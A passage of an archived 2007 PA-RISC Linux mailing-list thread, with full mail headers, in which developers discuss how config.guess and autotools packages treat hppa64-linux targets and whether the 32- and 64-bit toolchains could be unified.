> > > isnt 64bit only available with 2.0 ?  so it'd be pretty clean on Linux
> > > to say: hppa64-*-linux-* means 64bit userland, everything else is 32b=
it
> >
> > Seems you misunderstood jda's above comment. We do not have a 64bit
> > userland on hppa. the 'hppa64' part of the target string represents
> > the architecture of the /kernel/. 64bit kernels run a 32bit userland,
> > hence hppa64-linux should be treated (so far) as hppa-linux.
>
> i didnt misunderstand anything
>
> i'm stating that an autotool based package should treat all hppa2.0 hosts
> as 32bit userland which is exactly what gmp does not do

which is to say i've sort of forked the thread as i'm not talking about the=
=20
config.guess mis-guessing a 32bit userland under a 64bit kernel as hppa64 .=
=2E.
=2Dmike

--nextPart2913264.VGNSK12FV2
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.6 (GNU/Linux)

iQIVAwUARuBay0FjO5/oN/WBAQIbcRAApQikWpg+AuTHTL08QrPDB42LTpaBkBLY
VL7qr7G2RDERM6aTP0y+cDYGeswnzW1BUe4y3VgNd1YHE8tpDyPRrIGv6mQthG/H
kr9deGRHp7YK9FxSi+/edW4oIRlim6nUHNWAoOtd0EGK/aBAecqJCk/Ieey/mmYC
0duS9k5O231FKx+m8x5cd8cSFG4d07Ha4AHXpfmRULbzOK4LqeSMuoL2ivKHL2yl
NE57m7h8a9fNh45BINim6/dU8K265ONHfV/kiER0OjphwbgNrlhuNSonHXrwnVG7
JSb45qwxeAiGgVts13H64nEHm0pUmcADzEgsISk+zrdKfUDZzdT0BTpNPg7nwYIQ
ndL47OOTE5xoAPbTtHPfYmSEVun4yurQaU2dApiFjSS7NFMS5EZ+645RBO80HPVQ
KBdywyJvKAtDJYEtNw7NLQPjHheJDrbbcNBJj3/xXBMun2ZuPu3a3DTpFp12jw1R
uzBkMw93leWeatPwpog0vnMZ5Pp1OWR/0gUsd4rW4eARN4QzhvRXZmZBKPWZTLd+
higW3UCNNybFf3ZXhI3RDVBoIULkdiHelslel9g1KQc2MrlK3IGJP4pzm/iokwDU
EWjRtpjCbHlSIf5thR5Ny42Q/4WTlQoeEgnsgVhDL+BlgmdkRfEl56PPrPpIVNNl
zymBUokqeQA=
=JhTc
-----END PGP SIGNATURE-----

--nextPart2913264.VGNSK12FV2--


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux32 personality & config.guess
Date: Thu, 6 Sep 2007 16:37:48 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200709062037.l86Kbn9j001113__29005.7661979974$1416624436$gmane$org@hiauly1.hia.nrc.ca>
References: <200709061552.14960.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624436 25006 80.91.229.3 (22 Nov 2014 02:47:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:16 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org,
 varenet@gmail.com
To: vapier@gentoo.org (Mike Frysinger)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Sep 2007 21:50:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx031) with SMTP; 06 Sep 2007 23:50:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3FA317DBB8;
	Thu,  6 Sep 2007 15:50:53 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id AGfQLphYaZEe; Thu,  6 Sep 2007 15:50:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 04DE67DBBC;
	Thu,  6 Sep 2007 15:50:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 68A9F7DBB8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Sep 2007 15:50:38 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id U-EbRexK02-U for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Sep 2007 15:50:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 26D4B7DBB7
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Sep 2007 15:50:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l86LoKR6002101;
	Thu, 6 Sep 2007 17:50:22 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l86Kbn9j001113;
	Thu, 6 Sep 2007 16:37:49 -0400 (EDT)
In-Reply-To: <200709061552.14960.vapier@gentoo.org> from "Mike Frysinger" at
	Sep 6, 2007 03:52:13 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Xh+VddldODBoYrWUfGRMWUc1Ji9SWlL6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24789

> i didnt misunderstand anything
> 
> i'm stating that an autotool based package should treat all hppa2.0 hosts as
> 32bit userland which is exactly what gmp does not do

Right.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux32 personality & config.guess
Date: Thu, 6 Sep 2007 16:33:00 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <200709062033.l86KX19p000952__44933.3012490117$1416624436$gmane$org@hiauly1.hia.nrc.ca>
References: <7d01f9f00709061215q721df5b4wa7b8a0b96eaf491@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624436 25009 80.91.229.3 (22 Nov 2014 02:47:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: varenet@gmail.com (Thibaut VARENE)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Sep 2007 21:51:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx077) with SMTP; 06 Sep 2007 23:51:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3040D7DBCA;
	Thu,  6 Sep 2007 15:51:05 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id cKGtu+lDuL3d; Thu,  6 Sep 2007 15:51:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 36AAE7DBC0;
	Thu,  6 Sep 2007 15:50:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 87CB37DBBC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Sep 2007 15:50:38 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id lwwM4uiiSeDC for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Sep 2007 15:50:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 169A97DBB5
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Sep 2007 15:50:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l86LoKR8002101;
	Thu, 6 Sep 2007 17:50:23 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l86KX19p000952;
	Thu, 6 Sep 2007 16:33:01 -0400 (EDT)
In-Reply-To: <7d01f9f00709061215q721df5b4wa7b8a0b96eaf491@mail.gmail.com> from
	"Thibaut VARENE" at Sep 6, 2007 09:15:48 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Kh+VddldODBoYrWUfGRMu0c1Ji9SWhIT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24790

> Seems you misunderstood jda's above comment. We do not have a 64bit
> userland on hppa. the 'hppa64' part of the target string represents
> the architecture of the /kernel/. 64bit kernels run a 32bit userland,
> hence hppa64-linux should be treated (so far) as hppa-linux.

No, the architecture portion of the string in the PA case doesn't
simply represent the architecture of the kernel.  In the hpux case,
hppa2.0w and hppa64 both indicate a wide PA 2.0 kernel.  As noted
in the previous message, config.guess selects between the two based
on the setting of CC.

This has arisen on the PA since we have separate 32 and 64 bit tools.
In other architectures, a compiler flag is used to select the output
architecture.

Although we don't have a 64-bit userland in linux, we do have 64-bit
compilation tools for kernel generation.  To build these, you need
to specify a hppa64-linux target.  For this reason, we don't treat
hppa64-linux as equivalent to hppa-linux.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux32 personality & config.guess
Date: Thu, 6 Sep 2007 18:50:02 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20070907005002.GG27404__6286.58477585322$1416624436$gmane$org@parisc-linux.org>
References: <7d01f9f00709061215q721df5b4wa7b8a0b96eaf491@mail.gmail.com>
	<200709062033.l86KX19p000952@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624436 25011 80.91.229.3 (22 Nov 2014 02:47:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:16 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org,
 Thibaut VARENE <varenet@gmail.com>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Sep 2007 00:50:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx100) with SMTP; 07 Sep 2007 02:50:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1768D7DB60;
	Thu,  6 Sep 2007 18:50:42 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id o2-jtoubt91L; Thu,  6 Sep 2007 18:50:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DD7BF7DB14;
	Thu,  6 Sep 2007 18:50:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8D5DD7D852
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Sep 2007 18:50:18 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id s3+ALmKCpndW for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Sep 2007 18:50:03 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id CC0A67D84D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Sep 2007 18:50:03 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id DD47F494005; Thu,  6 Sep 2007 18:50:02 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200709062033.l86KX19p000952@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: U5jVcrsiRkkfWauPfGRqSg9mdWkvKNPE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24791

On Thu, Sep 06, 2007 at 04:33:00PM -0400, John David Anglin wrote:
> This has arisen on the PA since we have separate 32 and 64 bit tools.
> In other architectures, a compiler flag is used to select the output
> architecture.

Any interest in doing the unification of 32 and 64-bit?  ISTR Jeff
Bailey had binutils working.

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux32 personality & config.guess
Date: Thu, 6 Sep 2007 18:08:07 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <5b2e36650709061808u18796ae9k35487aea0bb3a959__45378.7374347032$1416624437$gmane$org@mail.gmail.com>
References: <7d01f9f00709061215q721df5b4wa7b8a0b96eaf491@mail.gmail.com>
	 <200709062033.l86KX19p000952@hiauly1.hia.nrc.ca>
	 <20070907005002.GG27404@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624437 25013 80.91.229.3 (22 Nov 2014 02:47:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:17 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
 "Thibaut VARENE" <varenet@gmail.com>,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: "Matthew Wilcox" <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Sep 2007 01:08:16 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx099) with SMTP; 07 Sep 2007 03:08:16 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 93B2B2E0A3; Fri,  7 Sep 2007 01:15:29 +0000 (UTC)
Old-Return-Path: <jbailey@raspberryginger.com>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=-6.5 required=4.0 tests=AWL,BAYES_20,
	FVGT_m_MULTI_ODD,LDOSUBSCRIBER autolearn=ham version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from wa-out-1112.google.com (wa-out-1112.google.com [209.85.146.178])
	by murphy.debian.org (Postfix) with ESMTP id BB56A2DE46
	for <debian-hppa@lists.debian.org>; Fri,  7 Sep 2007 01:15:23 +0000 (UTC)
Original-Received: by wa-out-1112.google.com with SMTP id n4so991546wag
        for <debian-hppa@lists.debian.org>; Thu, 06 Sep 2007 18:08:08 -0700 (PDT)
Original-Received: by 10.114.254.1 with SMTP id b1mr1165990wai.1189127287729;
        Thu, 06 Sep 2007 18:08:07 -0700 (PDT)
Original-Received: by 10.114.108.14 with HTTP; Thu, 6 Sep 2007 18:08:07 -0700 (PDT)
In-Reply-To: <20070907005002.GG27404@parisc-linux.org>
Content-Disposition: inline
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <o4PewB.A.MwC.xYK4GB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5935
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Fri,  7 Sep 2007 01:15:29 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sp3TfrJrMmAobLSZZGFn2E8xMjQ1N50o
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24792

On 06/09/07, Matthew Wilcox <matthew@wil.cx> wrote:
> On Thu, Sep 06, 2007 at 04:33:00PM -0400, John David Anglin wrote:
> > This has arisen on the PA since we have separate 32 and 64 bit tools.
> > In other architectures, a compiler flag is used to select the output
> > architecture.
>
> Any interest in doing the unification of 32 and 64-bit?  ISTR Jeff
> Bailey had binutils working.

Give me another two weeks to dig myself out and take Grant up on the
hppa C3000 offer and I'll get that working again.

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux32 personality & config.guess
Date: Thu, 6 Sep 2007 21:25:13 -0400 (EDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <200709070125.l871PD6I007142__102.875653147017$1416624437$gmane$org@hiauly1.hia.nrc.ca>
References: <20070907005002.GG27404@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624437 25277 80.91.229.3 (22 Nov 2014 02:47:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:17 +0000 (UTC)
Cc: varenet@gmail.com,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Sep 2007 01:35:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 07 Sep 2007 03:35:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 84A047DBCE;
	Thu,  6 Sep 2007 19:35:51 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 0ODPTJWWHxnH; Thu,  6 Sep 2007 19:35:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 00A757DBC0;
	Thu,  6 Sep 2007 19:35:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3D8FF7DBAF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Sep 2007 19:35:35 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id M9UgDVArACJL for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Sep 2007 19:35:23 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id B0EFE7DBA9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Sep 2007 19:35:23 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l871ZKxF007322;
	Thu, 6 Sep 2007 21:35:21 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l871PD6I007142;
	Thu, 6 Sep 2007 21:25:13 -0400 (EDT)
In-Reply-To: <20070907005002.GG27404@parisc-linux.org> from "Matthew Wilcox"
	at Sep 6, 2007 06:50:02 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: m8OVdcRdODBoYrWUfGRMjc81Ji9SWtLz
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24793

> On Thu, Sep 06, 2007 at 04:33:00PM -0400, John David Anglin wrote:
> > This has arisen on the PA since we have separate 32 and 64 bit tools.
> > In other architectures, a compiler flag is used to select the output
> > architecture.
> 
> Any interest in doing the unification of 32 and 64-bit?  ISTR Jeff
> Bailey had binutils working.

Not really.  Binutils is probably easier than GCC.  With the GCC,
the problem is macros that are defined in one case and not the
other.  The hard OS is hpux because 32-bit is SOM and 64-bit ELF.
Linux would be much easier because of the consistent runtime
